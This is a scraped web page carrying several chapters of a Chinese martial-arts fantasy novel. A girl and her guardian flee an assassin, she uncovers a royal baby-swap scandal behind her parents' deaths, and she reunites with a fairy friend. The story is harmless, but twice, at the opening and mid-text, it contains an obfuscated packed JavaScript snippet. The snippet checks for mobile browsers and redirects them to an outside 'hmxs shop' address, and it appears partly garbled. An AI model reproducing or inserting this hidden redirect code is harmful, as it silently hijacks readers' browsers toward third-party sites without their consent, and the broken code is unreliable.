;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780784|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也很无奈。 吴界丢下一句“你自己反省反省”就出去了。 反省什么?白羽没觉得自己有错,天赋如此,人力岂能干预。 她才不会留在家里傻傻反省呢。 果园后面有一个仅容一人通过的山洞,白羽曾偷偷去探过路,她装模作样背上一把长剑,经过果园时顺手掏了两个红透的桃子,往衣襟上随便蹭了蹭,边走边啃。 初极狭,才通人。复行数十步,豁然开朗。 眼前是另一片荒山与荒地,一只松鼠被白羽扔桃核的声响惊动,窸窸窣窣地窜进了高山密林中。 白羽找了个阳光充沛的大石头爬上去,用剑砍断四周蔓延到各处的藤蔓荆棘,从怀里掏出一片粗布铺开,然后舒舒服服地躺下来闭上眼睛睡觉。 意识陷入朦胧间,忽然感觉面前站了个人,白羽一下子惊醒了。 睁开眼却看到人并不在自己眼前,十步开外一块大石上,盘坐着一个头戴斗笠、面覆黑巾的黑衣男子,看不出年纪,看身形和气势应该是个高手。 白羽想了想自己的“半吊子”武功,有些紧张,本着“输人不输阵”的想法还是冲他问候道:“大侠是从哪里来的?突然出现,吓我一跳。” 黑衣蒙面男子也不知睁眼没睁眼,淡淡转过头来“看”了白羽一眼,说:“此处又不是你家地界,我为何不能来?” 应该是看见白羽靠在石头边的长剑,他劝诫道:“小孩儿,剑不是那么用的,你真是白瞎了送你这柄剑的人。” 白羽低头看着剑刃上还沾着绿色的草叶汁,不解其意地反驳道:“为何不能这么用?剑也好刀也罢,本就是件与人方便的工具,我用它斩断荆棘还是砍瓜切菜都是利于我的事情,既然利于我就能这么用。” “简直荒谬!”蒙面男勃然大怒,怒斥白羽:“武学一道,无数人孜孜以求,剑客手中剑,刀客手中刀都是求大道之路上必不可少的伙伴,如同左膀右臂,重于身家性命,你此举简直侮辱剑道!” 有那么严重吗? 白羽不当回事儿的态度更是惹怒此人,他从石上飞身下来,几步就走到白羽面前,对她说:“起来与我比试,我今日就要告诉你什么是武学之道。” 白羽被逼无奈只能提剑应对,她刚跟这人交上手,就听他诧异道:“春风细雨剑?” 什么春风细雨?吴界教她的时候没说过这剑招还有名字啊。 黑衣蒙面男子两指轻松夹住白羽刺来的剑刃,让她的剑不得寸进也不能抽回,语气森冷无比地说:“你使春风细雨剑,快说!你和随春风什么关系?” 随春风!这不是吴界的花名吗? 完蛋,她好像踢到铁板了…… 白羽心道。 下一刻,这黑衣人拉下面巾拿掉斗笠,使真容暴露于天光之下。 ……见鬼了。 他不应该早就死了吗? 白羽看见他的脸,有一瞬间的毛骨悚然感。 冷镰风。她和这个人曾有两面之缘,一面是临安城,他突然出现将她和吴界追得满城逃窜;一面是恭州长江边,他带着人手却提出要和吴界一对一比武,最后被她困在水天失色阵里,绝无生还的可能性。 他怎么还活着? “小丫头,认出我了?”冷镰风嘴角勾出一抹笑,阴测测地看着白羽,“你会春风细雨剑,年龄又刚好能对上,你是随春风的女儿。既然你在这里,随春风肯定也在这里。说,他在哪儿?” 他松了手指,白羽得以抽回自己的剑。 下一刻她飞速窜进茂密的山林中,仗着自己熟悉地形,在林中到处乱飞,每次眼看着就要被冷镰风找到了,又能惊险擦肩而过。白羽引着冷镰风饶了很远的路,她在心中默默计算距离,觉得差不多了,然后抄近路回到那片山谷中,钻进山洞奔跑回家。 横穿果园时看到吴界在院子里编竹筐,她加快脚步跑到吴界身边,气喘吁吁还没说话,吴界就抬起衣袖给她擦汗,嘴里还一边絮叨:“跑到哪里去了,爹找了你半天,怎么满头都是汗?” 白羽缓了缓呼吸,一口气说出来:“爹,我们快走,冷镰风,冷镰风来了。我刚才在对面那片山谷碰到他了,他很快就能找来,我们快走!” 吴界给白羽擦汗的手顿住了,他知道果园后面有个山洞,白羽经常从那里钻出去玩耍,往常都无事发生,今日竟然碰见冷镰风了! “他竟然还活着?”吴界扔下腿上编了一半的竹筐,很迅速地吩咐白羽,“你去收拾自己衣服和随身物品,爹去打包其他东西,这里很隐蔽,他一时半会找不过来,我们吃过饭后去跟马大哥一家告别,然后立刻离开。” “好。”白羽回到房间,随手从衣柜里扯出两件衣服,逃亡路上不宜带很多累赘,她又挑了两件换洗的里衣和鞋袜,把包袱压得紧实系好,背着包袱出来后就看到吴界又把他那个木箱拎出来放在桌上。 这么短的时间内,吴界做了两碗牛肉粉,白羽热腾腾地下肚,然后背起自己的小包袱,吴界背上木箱和一个简单的包袱,牵着白羽走出家门。 和马大叔马大娘道别后,两人从更加隐蔽的道路出村,难走的路吴界抱着白羽走过,一路上崇山峻岭,峭壁悬崖,他们此行要穿过这些嶙峋山峦,抵达乌蒙,然后转道去蜀中。 新一轮的逃亡路就此展开。 33. 揭秘 乌蒙地处十万大山和蜀中交界处,地势更为奇绝险峻,山势陡峭,多生奇木怪石,深涧之中抬首望而不见天日,可称“一线天”。 白羽疲于奔命,无暇顾及谷中风景。 他们是十日前抵达乌蒙地界的,途中被冷镰风放出的猎鹰找到过一次,因吴界在职时熟悉此鹰习性,用特制的佐料将它引入另一片山脉,方才躲过追捕。 乌蒙多山多水,数条天山之水从此汇入南部海域,因此这里的气候十分宜人,百姓大多随性率真,伴山歌日出而作日入而息。 吴界的计划是从乌蒙入蜀,然后再去找他所谓能给他们提供稳定庇护所的人,因传信需要时间,所以他们暂时在城中客栈住了下来。 信发出去有两天了,吴界去打探消息就没带白羽,她闲得无聊又不想闷在屋子里,便带上此地女子防风防日晒的覆面纱巾,略作乔装打扮后出了门。 集市上逛了逛,她觉得口渴就进了一家茶楼。 这家茶楼似乎生意不错,日当正午也是高朋满座,并无虚席。白羽看到有文士长衫的读书人,也有布衣装扮的寻常百姓,有行走江湖、豪爽洒脱的负剑侠客,也有金玉作饰、身价不菲的富贵公子,二楼用屏风隔出来的雅间中,也有带着仆从随侍的骄矜贵女,再往里面就不是普通人可以探究的存在了。 白羽收回视线,在一楼角落寻了个空桌坐下,中规中矩地点了一壶茶水并一盘瓜果小食,之后安静地等候茶楼有何新鲜事发生。 没让她失望,白羽的茶水小食刚刚上桌,中间大堂空旷处就有人摆了长条桌出来,这场景让她觉得似曾相识。 她一边品茶,一边拉长耳朵偷听隔壁桌讲话。 “你怎么也来了?也是来听这奇闻异事的?” 一个手持折扇的书生问另一位士子。 “好故事谁不爱听,就许你来不许我来?” 那位白衣士子双手搭在膝上,身段挺直,回敬折扇书生。 “我不是这个意思,畅言先生在苏杭一带名头响,这还是头一回来咱们这儿,说什么也得来捧个场啊!” …… 后面他们说什么白羽就没注意了,她只听到了“畅言先生”四个字。 畅言先生? 是临安城梨园里说皇室血统被掉包的那个畅言先生吗? 他如果说的是当朝的故事,两年了竟然还没人抓他斩首,说明还挺能活的。 一阵梆子声起,茶楼四下帘幕都放了下来。 不知从哪儿吹来一阵风,轻薄如纱的帘幕被风抚动摇曳,一个满头华发、仙风道骨的长者从帘幕中现身,捻着胡须冲在座之人拱手作揖,然后就在那条长桌后坐了下来。 白羽心中“咦”了一下。 不是畅言先生?跟她见过的那个畅言先生长得不一样。 这世上究竟有几个“畅言先生”? 这位“畅言先生”坐下就开始说话了:“老朽常年活动于东南沿海,竟不知这十万大山中如此钟灵毓秀、人才辈出。今横跨数千里而来,感谢诸位捧场,就让我为大家讲一出‘藩将伉俪撕诏谋大计,连襟皇帝送后劝归降’,望诸位听得一乐,笑口常开!” “话说这名门叶府有两个如花似玉的同胞姐妹,这两姐妹前后脚落地,幼时起就是一处吃一处睡,绫罗绸缎、胭脂水粉、学识修养什么都要一样好,几乎没人能分得清她们。长到了笄年就要开始操心她们的婚嫁问题,奈何这两姐妹同样是心气儿高,不肯一个高嫁一个低嫁的,最好是两人的丈夫官职、俸禄、家境都要一样,甚至长相也要求一模一样的。这可是奇了,天下间哪有照镜子一般的两个人,更别说这两人还得是双胎兄弟。” “叶家主使人四处打听,几年了也没有符合他女儿们要求的人选,眼看着好年华匆匆过,愁得他是眼睛冒火、牙床高鼓。一日,突然接到圣旨,言皇帝有意将他的女儿赐给太子为妃,这下心情更差了,天下间还有第二个太子配他另一个女儿吗?他去找女儿们说道,赐婚圣旨许出去的自然是双胎中的姐姐,谁知这姐姐像是突然转了性子一般,她不再要求事事都跟妹妹一样,并且坚决不想依圣旨嫁给太子。原来是她跟一位将军公子好上了,两人已经海誓山盟、私定终身了。幸好圣旨中没有指名道姓是哪位千金,最后嫁入东宫做了太子妃的是妹妹,姐姐如愿和那将军公子缔结姻缘,去了藩城戍边,就这样自小从未分离过的两姐妹从此天南海北,再难相见。” “留在京里的妹妹按部就班,在太子顺利登基后成为母仪天下的皇后,一切都在往好的方向发展,唯独让皇后郁闷的是,成婚几年,她的肚子一直不曾有动静,后宫的女人却越来越多。就在皇后想要不要抱养低位嫔妃的孩子时,这一年她有孕了,皇帝也很高兴,大肆封赏,国母有孕,昭示国祚绵长。然好景不长,皇后腹中孩子怀到四个月的时候,西南边境上有一个掌权的藩将揭竿谋反了,皇帝一查才知道这人的妻子是皇后的亲姐姐,此时国库空虚,朝臣党派之论喋喋不休,要派兵没人又没钱,皇帝只能跟皇后私下商量,让她秘密去一趟藩将起事之地,用她这个亲妹妹的身份去劝说姐姐姐夫归顺朝廷,并答应皇后事成之后平安回来,就封她肚子里的孩子为太子。” “畅言先生”讲到这里停顿下来喝茶润口,留出时间让大家畅所欲言,白羽面纱下的眼睛和嘴巴已经睁圆了,这个故事也是似曾相识,她好像听过。 “畅言先生”歇够了,继续道:“皇宫中已经有几位出身不俗的嫔妃生的皇子了,皇后想:她的孩子要是没有独到之处,想出头想平安长大似乎十分艰难,如今有这样一个机会摆在眼前,她说什么也要为未出世的孩子去搏一搏,于是她便带着四个多月的身孕踏上了漫漫劝降路。” 讲到这里,“畅言先生”一拍惊堂木,惊醒了仍沉浸在睡梦中的在座看客,他站起来对大家拱手做礼,张弛有度地说:“今日这出戏就讲到这里,欲知后事如何,且听下回分解!” 后半段故事……白羽想:她听过,她五岁生辰那天,在临安城的梨园里,有个畅言先生讲了故事的后半段。 皇后到达藩将起事之地后,发现姐姐和她有孕的时日几乎相差无几,后来她们同日分娩,她产下死胎,不想让消息传回京城,于是瞒了下来。姐姐的孩子平安健康,她们不谋而合,用姐姐的孩子代替她的孩子,要造反的姐夫自然同意归降朝廷,她带着天大的功劳回京,孩子按约定册封太子,年幼聪慧,后来登基为帝,自此帝王血脉改弦更张。 听到这个完整版本的故事,白羽用了两年时间,她不由得把这个故事套在任何一个王朝中去对比,却发现她读过的史书中没有一段与之相似的记载。 正史若是没有,那野史呢? 茶楼中众人都因没有一饱耳福而大感遗憾,叫嚷着追问畅言先生下一场是什么时候? 白羽已经没必要再留在这里了,她站起来拍拍身上沾染的食物碎渣,结账后走出茶楼。 来的路上她好像看到集市边上有一家破旧的小书摊,白羽打算去找找,说不定那里面就有她想知道的混淆皇室血脉的野史呢? 书摊很破旧,几个缺胳膊少腿儿的长条板凳支起来,缺了的那条腿用石头垫着,条凳上铺着一块破洞木板,像是从谁家门上刚卸下来的门板,两条门闩的杠子嶙峋支棱着,木板上杂乱无章堆放着许多缝制粗糙的线穿本。 白羽信手翻来,纸页坑坑洼洼、凹凸不平,根本不像正经书社印刷出来的,全是手抄本,有的前后都是两种字体,涂抹更是寻常事。 不过她找的就是这种书,正经书上不会有的不正经记载。 白羽把野史相关的手抄本都买回来了,厚厚一摞,她回到客栈房间后,先去看吴界回来了没有,房间里没人答应,那就是还没回来。 白羽安心地回到自己房间开始大海捞针。 手写字体有的极难辨认,有的又被抄书人加了自己的看法和论点,半天看不到重点,有的缺张少页,白羽要靠自己联系前文猜测中间写了什么内容。 直到天黑也没找出她想看的东西,倒是发现了几段各朝代正史没有记载过的香艳情史,她看过就丢了。 白羽按按开始发热的太阳穴,觉得照这种方式得找到何年何月去?说不定还得看个人运气。 她出去看了一眼,吴界竟然还没有回来,那边出什么事了吗? 左右她不能出去乱跑,用过晚饭后又回了房间开始她的“捞针”之旅。 看得头晕眼花之际,终于在一段文字里读到了自己想要的信息。 文中说:乾帝永平八年九月,蜀地曾起兵役,那起事之人是当朝皇后的姐夫,皇帝懦弱无能,不敢正面开战,就让自己的皇后去劝降姐姐姐夫,然后大肆描写了一番姐夫和小姨子私通的戏码,说姐夫搞大了皇后小姨子的肚子,皇后生了姐夫的孩子然后带回皇宫当作自己和皇帝的孩子,皇帝还封了这孩子为太子。 这描述和畅言先生讲的有出入,白羽不太相信这种恶俗戏码,多半是写这书的人自己臆想出来的。 据她所知,这个王朝国号是“乾”,当今年号为“天顺”,而先帝年号就是“永平”,永平八年是先帝登基第八年,而当今出生于永平九年春日,时间都对得上。 再往后面看,说这个冒名顶替皇室血统的孩子登基后,太后告知他的身世,他秘密把蒋将军召回京让自己亲生父母重聚,然后又描写了一段多年未见的老将军和太后偷情的戏码,如何刺激,如何香艳。 白羽皱着眉囫囵翻完,这已经不是一段野史记载了,就是一个猥琐下流胚子意淫位高权重之人风流韵事的三流读物,除了把人名都记载下来了,其他没有参考意义。 已知信息:造反的藩将姓蒋,乾永平帝确实让太后秘密去西南劝降了,太后也确实带着孩子回来了,孩子也确实封了太子,太子也确实登基了。 问题是,太后叫什么却没记载。 畅言先生的故事中,调换孩子的皇后姐妹姓叶,当今太后姓什么来着?王夫子跟她提过一嘴,她给忘了…… 白羽又往后翻了几本,才终于找到一本正常人书写的野史记录。 前面那些朝代白羽都略过不看,她直奔乾朝相关记载,一口气读下来,她的表情慢慢凝固了,这本书里说的和畅言先生所讲的情节几乎没有差别。 不光是具体情节没有出入,就连出现的人物名字、地点、皇后怀孕启程的月份,皇后分娩的日期都清清楚楚,白羽甚至怀疑写这书的人是不是皇后身边的人。 皇后姐妹姓“邺”,“邺水朱华”的“邺”。 姐姐叫邺临光,妹妹叫邺临月,皇帝叫赵琯,藩将叫蒋绥之。 顶替皇子身份登基为帝的姐姐姐夫的孩子,也就是当今皇帝,名叫赵雍。 时间线,人物关系线,事件发生线一目了然。 如此说来,天下间传得沸沸扬扬的皇室换子案竟是真的,怪不得畅言先生说得这么煞有其事,哪怕史书上抹除了所有痕迹,也有野史和百姓口口相传。 隔壁屋子门传来“吱呀”一声,白羽从这浩如烟海的野史中回过神来,将要站起身突然想到,吴界说的不能告诉她的机密和她父母身死的原因不会就是这件事吧? 先别急,让她想想。 她在这个世界见到吴界的第一眼,所处的环境明显是一间华丽富贵的房间,甚至可能还是一间女子香闺,等她再睁眼却是那间低矮破落的农家小院,据吴界所说,那时他刚接到她。 而白羽生来带有记忆,他们搬家的时候,她后来根据行车时间推测出他们是从金陵附近过来的,而金陵城是乾朝都城。 不行。 白羽起身,推门出去,直奔吴界房门口,今天她必须搞清楚她父母到底是谁?萦绕多年的谜团究竟代表了什么?吴界隐瞒的秘密究竟是不是皇后与姐姐换子之事? 吴界刚回到房间,从背上卸下那把重剑,就听见房外有人敲门。 这个点儿,料想是白羽无误。 他打开门果然看到她站在外面,吴界压下事情并不顺利造成的烦闷感,控制着语气柔声关心:“是念儿啊,爹今天回来晚了,你有没有按时吃饭啊?” “吃过了,你用饭了吗?”白羽一边问一边走进来,听吴界回答他也吃过饭后,白羽拉着吴界坐下来,摆出一副促膝长谈的姿态,与他说:“爹,我今天在茶楼里听了一个故事,我讲给你听。” 吴界心里压着事,其实并不怎么能听进去,但他还是不愿拂了白羽好意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780785|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头道:“你说说。” 白羽就将午间茶楼里那位“畅言先生”所讲的轶事一一复述给吴界听。 故事的后半段他们俩都听过,吴界可能比白羽知道得更多,她讲完安安静静地凝视着吴界的表情,连他一丝细微的神情变化都不愿错过。 屋中一时落针可闻。 吴界还想挣扎,他翘起嘴角笑,笑容满面,嘴角的肌肉走向却很僵硬,他试图糊弄过去,佯装惊讶道:“这可真是闻所未闻,哪个皇帝这么倒霉,这叶太后也是很有魄力,堪称女中豪杰。” “哦?”白羽感兴趣地反问:“爹你真的闻所未闻吗?我五岁生辰那天,我们在临安城的梨园里不是听了这个故事的后半段吗?” 失策了。 吴界脸上的笑容僵住,他只顾着应对当下却完全忘了当初这回事。 “这,爹当时没有认真听。”他给自己找借口:“而且这都过去两年了,爹年纪大了记性不好,一时忘记了也是有的。” 白羽“啪”地一下从怀里抽出记载那段野史的书册拍在桌子上,她眉眼沉沉的,衬得尚算稚龄的眼仁越发深邃,“我多方探查对比,茶楼里广为流传的皇室换子案说的就是当今皇帝与太后,人名时间全都能对上,我只是想知道我父母是不是因为触及这个秘辛才被杀人灭口的,为什么不肯告诉我?” 吴界大手捂在那本装订粗糙的书页上,喉间发出一声沉重的叹息,大手抚上白羽的后脑勺,眼神中痛惜更多、怜爱更多。 他说:“念儿,你还小。你父母当初早已猜到自己的结局,你母亲把你托付给我时只是希望你能平安快乐的长大,不要去沾染那些事情,这同时也是我的愿望。” “吴界。”白羽郑重地叫他的名字,“我不是小孩子,你能明白吗?你们都希望我什么都不知道,可是我蒙在鼓里我不快乐。我已经选择性地不去深究七年了,这七年里安稳的日子占了九成,我可以不听不问,但是如今危难临头,你当真以为我们避走蜀中就能高枕无忧了吗?你每年让我在生辰当天上两炷香,总该让我知道我祭拜的是谁吧?” 白羽的一番话让吴界动容,也是因为他想到他今天去打探消息时,蜀中那边给的回话,让他觉得如今还有哪里是安全的? 难道就这样带着她躲躲藏藏一辈子,倘若有朝一日他提不动剑,护不住她了,她是不是死了也只能做个糊涂鬼? 吴界半天不说话,白羽准备下一剂猛药说自己不跟他去蜀中了,然后拂袖而去。 她站起身就准备离开,却听身后人开口了。 “你母亲,名叫沈言晴,是金陵永安侯之女。”吴界说:“她与我自小指腹为婚,青梅竹马,年幼时,我家中飞来横祸,一日之间,满门被杀,我逃过一劫,阴差阳错之下入了长风无影阁。后来你母亲到了出阁的年纪,永安侯为她挑选了你父亲——阆中唐氏大公子唐琢,唐家世代清贵,你父亲更是官至太史令,领圣命为朝中编修国史,他与你母亲极为般配,本来我是一个不存在世间的人,他们成婚那年我的任务在京城,好奇心驱使下我去见了你母亲,自那之后我们有了联络。” “平安无事好几年。有一天,我突然接到你母亲的传信,她说你父亲惹上了极大的麻烦,她怕保不住腹中的你,她父亲永安侯见风使舵靠不住,只能将你托付给我。我当时也焦头烂额,执行任务中发现惊天秘密,如你所见就是当今皇帝并不是皇室血脉,这机密说出来或者隐瞒下来,长风无影阁都留我不得,我便策划假死脱离,正好和你母亲的托付一起办了。” “之后的事情你都知道了。”吴界视线从白羽身上挪开,望向关闭的窗柩,轻声说:“你父亲在你出生那天被判腰斩,你母亲难产生下你,为你取名沈念,也随后咽气离世。我带着你离开金陵,随后隐姓埋名在临安城外小镇上过了五年安稳日子。” 不出所料,但也太过惨烈。 白羽没想到事由竟是这样? 她父亲乃太史令,编修国史自然要搜集整合各方史书,查到当年那段秘史简直不要太容易,这种事情一旦知道了,说与不说都是死罪,所以他难逃一死。 “你在想什么?”吴界看她半天不说话,慌忙问道。 “在想……”白羽话头在口腔里转了个弯,才想起来问吴界外面什么情况,“你今天问了有回信吗?我们什么时候动身去蜀中?” 吴界沉默地从怀里掏出那封回信,递给白羽后说:“我在蜀中的那个人脉就是藩王蒋绥之,你也知道了他的身份,他给我回信言:蜀中最近并不太平,不建议我去蜀中避祸。我们眼下需得另觅住处了。” 白羽看了回信后,点点头。 确实,皇室换子丑闻传得到处都是,这时候有心思没心思的都想去探究一二,都是皇室宗亲,谁还对皇位没点远望了,更何况他们论血脉远比如今座上那个更有资格。 吴界正待说些什么,隐约听到一砰烟花炸开的声音,他匆忙奔到窗下,打开窗户,抬头望天。 白羽不知道他怎么突然有心情看烟花了,跟着来到窗下,只看到烟花绽放过后,如星落雨一般的漫天流矢。 下一刻,另一个方向又飞速浮上一枚烟花,白羽这次看清了它绽放的过程。 烟花升空后炸开,所有的光点形成了一个似风似云,又有点像猫头的图案,然后再逐一暗淡下去。 他们又在窗前等了好一会,再没有烟花升空,白羽敏锐地察觉到这可能是某种用来联络的信号,非年非节,不可能有人东放一个西放一个,她看着吴界,等他的解释。 吴界关上窗户后,对白羽说:“这是长风无影阁用来召集所有‘风’和‘影’的汇合信号,长风主是明面上的阁主,而无影主则是背后真正的主人,命令发出这种信号的人,只能是无影主,这说明阁中要有大变动,他们顾不上追杀我们,我们安全了。” 这就安全了,他们逃亡一路,想听的就是这句话。 既然蜀中去不了,眼下又不用再次踏上逃亡路,白羽提议道:“我们就在乌蒙城中住下,静观其变,如何?” 吴界同意。 之后他们在乌蒙城中租了一个小院,在这里一住就是三年。 三年后,白羽遇见了一个意想不到的人。 34. 故人 乌蒙城中三年,白羽已经十岁了。 她年岁越长,身形开始抽条,五官比幼时的玉雪可爱多了一份冰雪聪明,已经是乌蒙城中远近闻名的小美人了。 近几年,吴界的烦恼是拉纤保媒的人太多了,不过不是给他拉,是给芳年十岁的白羽拉。 难以想象,十岁就要开始相看人家了。 白羽没有母亲,吴界作为父亲被媒人缠上的时候,刚开始他还不太好意思太强硬,只说孩子还小不考虑,后来估计是觉得他们父女好说话,上门的媒人几乎要把小门小户的门槛踏得嵌进地底。 于是,吴界烦不胜烦,谁再说,重剑往出一拍。可惜横的挡不住不要命的,也有那种不怕死的,还是会凑上来。 吴界本来不蓄须,虽然年过四十,但五官俊朗,自有一股侠义之气,自从他为了震慑这些人开始留须,满脸的络腮胡,令人望而生畏。 上门的人少了,同样的白羽也开始嫌弃他。 媒人不去找吴界了,想拉煤的人却一点也不会少,因为又有那脸皮颇厚的媒婆直接问到白羽脸上。 白羽的做法跟吴界不一样,她首先会无视,实在烦得厉害了给她贴一张“闭口符”,世界就清净了,也因为这些人,她原本没有阵法熟练的符篆进阶一日千里。 闭口符、痒痒符、翻跟斗符、爬树符、迷魂符…… 一些整人的符篆使用得炉火纯青。 这天,白羽从武馆回来,街角有家糕饼铺,白羽是她家的常客,路过门前,这家女主人总会热情温柔地跟她打招呼,这次也不例外。 “小念,下学了。”小铺门口炉灶旁,一个挽着妇人髻,髻上发巾的颜色鲜艳俏丽的布裙女子对她说:“明儿一早烤栗子糕,你喜欢吃我给你留着,早点来拿。” 白羽点头道谢,迎面就碰上了那个纠缠了她大半年的胖媒婆。 她穿一身鲜红的衣裙,衣裙像肠衣一样包裹住紧实的身体,活像是大街上会跑会跳的晾肉香肠,手里挥舞的手帕就是被剥开一角的肠衣。 意志坚定的人,白羽平生没少见,但像这么“锲而不舍”的,她真是第一次见。 这媒婆姓和,名字也起得好,叫和好,简直像是天生为干媒婆这行起的名字似的。 她刚开始去找吴界,被吴界以如今的可怖面孔冷着脸呵斥过几次,转而就来找白羽了,吴界因为她找白羽说这个,打她吧,她皮肉厚实估计也感觉不到疼,就跑去把她的“痩精”男人和儿子打了。 打了不起作用,和媒婆放出话,说她这辈子没有做不成的媒,她不能让吴界家这姑娘砸了她的招牌,势必要做成白羽和孙家公子这桩亲事。 孙家是乌蒙首富,他家那公子和白羽一般年纪,自从两年前见过白羽一面就开始为她神魂颠倒,文不成武不就的性子愣是让他首富爹给他塞进武馆学习,想跟白羽同进同出,练了两天哭爹喊娘地回家了。 白羽甚是看不上他,她虽然武功练得稀松平常,后来吴界也不太逼迫她必须练武,但她自己坚持下来了,如今吴界放水的话,也能跟他过两招,这草包公子吴界能把他吊着打。 和媒婆脸上挂着腻人的笑,乐颠颠地跑到白羽面前,和她说话:“吴家的小姑娘,下学了啊。哦呦,看这姑娘长得多水灵,和大娘跟你说啊!这女儿家呢,青春年华最短暂了,就要趁着这面皮儿还年轻鲜丽的时候找个好人家,孙家小公子可了不得,家里乌蒙城首富!城中多少姑娘想嫁给人家,人家都看不上眼,他家小公子啊就喜欢你,你要是嫁过去了那可是吃不尽的山珍海味,穿不完的绫罗绸缎……” 每天都是这些车轱辘话,有完没完了。 白羽狞笑了一下,打断和媒婆的长篇大论,“你说完了吗?说完轮到我了。” “什么意思?” “你跟我打一架,你赢了我听你的,我赢了你听我的,如何?”白羽说。 和媒婆看着白羽背后的长剑,冷不丁打了个哆嗦,她后怕地摇摇头:“我又不傻,当然不跟你打,我该说还是得说……” 白羽没空听她瞎扯,从背后抽出长剑,招呼不打一声,直接出手,“既然你不跟我打,那我就要单方面殴打你了。” 一剑刺过去,和媒婆嘴没空说话了,臃肿的身体踉踉跄跄躲开,还没站稳,白羽当空一剑又劈来了,她肚皮上的外裳被剑锋划破,向两侧敞开,她低头去看,白羽转瞬移至她身后,背上又被狠狠敲了一下。 “服还是不服?” 白羽问完也没想等她开口,转身剑锋又至,和媒婆连滚带爬的躲开,摔了个鼻青脸肿,白羽看她跑远了,抡起胳膊用力一掷,飞剑如流矢般钉在和媒婆脚尖三寸处。 “你,你等着,我明天还来!”她丢下这一句,落荒而逃。 白羽冷哼一声,上前两步取回长剑,收入鞘中,未及转身,忽听身后传来鼓掌声,巴掌拍得漫不经心的。 白羽皱着眉回头,想看看是哪个不怕死的又来找事。 一转身脚步却定住了。 十来步外,一条小巷口,一身猎猎红衣的女子笑颜如花,虽是晚秋,但她发髻上簪了一朵鲜嫩欲滴的映日红,鬓角用金粉和胭脂细细描绘了一副蝶恋牡丹图,大片洒下来的裙摆上,金线暗纹绣制的仍是牡丹花。 白羽看着眼前这人,用人间的话来讲,她与这个人应该是阴阳相隔了。她想。 “牡丹姐姐,你怎么会来找我?”白羽把许久未见又突然出现的牡丹领回家,倒了一杯白水递给她,如是问道。 “还说呢!你是怎么那答应我的,说好等我三天的?”牡丹放下茶杯,怒气冲冲地拍桌子质问白羽。 白羽神色平平,语气淡淡:“我没答应你。” 牡丹:“……” “那我去问贺六!他是怎么答应我的?” “他又不记得上一世的事。” 牡丹:…… “我看你就是故意气我!” “好了好了,都过去了。”把人惹生气了,白羽又去哄,“对了,还没问你,关于太子像我师父的事,百花仙子是怎么说的?” 牡丹深深呼吸一口新鲜空气,心中默念:算了,不跟她计较,反正白羽这个扁毛蛮子从小就这么讨厌! “我回去后问过仙尊,”牡丹微微蹙眉,不解道:“但仙尊没告诉我,反而批了我攒了两年的假,其他什么都没说。” 白羽攥着杯子也在想这件事,为什么总感觉她师父神魂消散前有些话没跟她说完,在凡间历劫遇到神似他的人后,这种体会愈盛。 “所以你无事可做,就来找我了?”白羽问牡丹。 牡丹冷哼,“谁说我是来找你的,我是来兴师问罪的!说好了等我,结果我回来一看,我是来给你们收尸的!” 上一世最后那场战役,七万将士、太子、贺六还有她,都死得惨烈,白羽不愿意再去回想,避开这个话题问道:“杂耍班他们应该是平安的,慕五呢,他果真也死了吗?” “没有,他活得好好的。据说皇室仓皇出逃的时候半途遇到了叛军,是藏在叛军中的青州军救下了他,除了他其他皇室中人全都死了。钱方一直在外活动,青州军是太子的人,太子手下还有一批能人异士一直在各地控制战局,听说太子被叛军所杀,群情激奋,后来聚集了全国有生力量剿灭叛军,夺回长安城。事后清点才发现,皇帝死了,太子死了,吴王也死了,最后能当皇帝的人只有慕五,钱方辅佐慕五登基,天下才安定下来。” 知道白羽还关心什么,她接着说:“我还替你去看望了一下商队那群人,他们也挺幸运的,货物贩完准备返乡的时候赶上了叛乱,他们一合计就在肃州住下了,一直躲到天下太平才出来,没有一个人伤亡。” 牡丹戳戳白羽的胳膊,戏谑道:“多亏了你给他们的平安符,没看出来,你还是个制符高手,改天给我也画一张。” 得了吧,白羽躲开牡丹的手指,郑重地向她道了谢意。毕竟她没听牡丹的话,她回来后肯定气了个半死,竟然还有心替她去探看她关心的那些人的近况,无论如何,白羽也得谢她。 牡丹端起茶杯,轻啜一口白水,老神在在地受了白羽的谢礼。 这么看来,上一世收了她平安符的人只有贺六和太子死了。 贺六倒也罢了,是她连累他。 但是送给太子那两张符是她画得最用心的符篆,不过联想当时的情况,也是死局难解。 倒是慕五,他可能是上天注定的帝王之命吧。 悬了许久的心事放下,白羽也不再多想。 外面传来开门的声响,白羽猜可能是吴界回来了,牡丹一下子警惕起来,她小声道:“你家里还有其他人啊?” “那不然呢?”白羽反问:“我这么小的年纪是怎么活下来的?” “你家里还有谁啊?” 白羽沉默一会,她想到吴界如今拿不出手的外表,罕见势弱道:“我爹,你等会见了他别太惊讶。” 她们说话间,吴界已经进了院子,扬声道:“念儿,爹回来了,你在家吗?” 白羽从正屋走出来,牡丹亦步亦趋跟在她身后。 吴界看见女儿正咧开大胡子要笑,转而看到白羽身后的红裙女子笑就收了起来,警惕问道:“念儿,这人是谁?” “噢,爹,这是我朋友,她叫牡丹。” 吴界还在怀疑,“你什么时候交的朋友?” “刚认识的朋友。”白羽说:“我下学的时候和媒婆又拦住我了,是牡丹帮我骂跑了她,所以我就请她来咱们家做客了。” 